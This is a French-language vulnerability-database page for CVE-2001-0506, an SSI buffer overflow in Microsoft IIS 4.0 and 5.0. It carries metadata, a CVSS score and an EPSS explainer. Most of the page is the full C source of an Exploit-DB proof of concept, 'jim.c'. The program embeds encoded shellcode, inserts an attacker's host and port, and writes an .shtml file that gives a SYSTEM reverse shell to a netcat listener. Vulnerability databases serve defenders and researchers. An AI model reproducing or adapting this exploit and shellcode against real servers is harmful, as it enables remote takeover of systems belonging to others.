CVE-2001-0506 : Détail

CVE-2001-0506

80.78%V4
Local
2002-03-09
04h00 +00:00
2002-02-22
23h00 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in ssinc.dll in IIS 5.0 and 4.0 allows local users to gain system privileges via a Server-Side Includes (SSI) directive for a long filename, which triggers the overflow when the directory name is added, aka the "SSI privilege elevation" vulnerability.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 21071

Date de publication : 2001-08-14 22h00 +00:00
Auteur : Indigo
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/3190/info A vulnerability exists in Microsoft IIS 4.0 and 5.0 that could allow a user with permission to write content to the IIS server to run any code in Local System context. /* jim.c - IIS Server Side Include exploit by Indigo <indig0@talk21.com> 2001 Usage: jim <attacker host> <attacker port> This code has been compiled and tested on Linux and Win32 To exploit this vulnerability you must have write access to the web root of the target web server. This program will generate a file called ssi.shtml. Create a directory in the web root whose name is 12 characters long (this is important!) eg. ssi_overflow then put this file into the new directory. Start up a netcat listener: nc -l -p <attacker port> -vv Access the file http://target/ssi_overflow/ssi.shtml using a web browser. N.B. I have had problems using Netscape to do this but IE works fine. A SYSTEM shell will appear in the Netcat session. You may need to hit return a few times to get the prompt up. Main shellcode adapted from jill.c by dark spyrit <dspyrit@beavuh.org> Greets to: Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting D-Niderlunds */ #include <stdio.h> /* #include <windows.h> uncomment if compiling on Win32 */ int main(int argc, char *argv[]) { unsigned char shellcode[] = "\x3C\x21\x2D\x2D\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x66\x69\x6C" "\x65\x3D\x22\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" 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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8B\x94\xF8\x77\x10\xF3\xC7\xF3\xC7\x22\x2D\x2D\x3E\x0D\x0A\x00"; FILE *fp; unsigned short int a_port; unsigned long a_host; printf ("\njim - IIS Server Side Include overflow launcher\nby Indigo <indig0@talk21.com> 2001\n\n"); printf ("To exploit this vulnerability you must have write access\n"); printf ("to the web root of the target web server.\n\n"); printf ("This program will generate a file called ssi.shtml.\n"); printf ("Create a directory in the web root whose name is\n"); printf ("12 characters long eg. ssi_overflow then put this file\n"); printf ("into the new directory. Start up a netcat listener:\n\n"); printf ("nc -l -p <attacker port> -vv\n\n"); printf ("Access the file http://target/ssi_overflow/ssi.shtml\n"); printf ("using a web browser. A SYSTEM shell will appear.\n\n"); printf ("N.B. I have had problems using Netscape to do this but IE works fine.\n\n"); if (argc != 3) { printf ("Usage: %s <attacker host> <attacker port>\n", argv[0]); return (1); } a_port = htons(atoi(argv[2])); a_port^= 0x9595; a_host = inet_addr(argv[1]); a_host^=0x95959595; shellcode[417]= (a_port) & 0xff; shellcode[418]= (a_port >> 8) & 0xff; shellcode[422]= (a_host) & 0xff; shellcode[423]= (a_host >> 8) & 0xff; shellcode[424]= (a_host >> 16) & 0xff; shellcode[425]= (a_host >> 24) & 0xff; fp = fopen ("./ssi.shtml","wb"); fputs (shellcode,fp); fclose (fp); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_server >> Version 4.0

Microsoft>>Internet_information_services >> Version 5.0

Références

http://online.securityfocus.com/archive/1/242541
Tags : mailing-list, x_refsource_BUGTRAQ
http://marc.info/?l=bugtraq&m=99802093532233&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/3190
Tags : vdb-entry, x_refsource_BID
http://www.ciac.org/ciac/bulletins/l-132.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC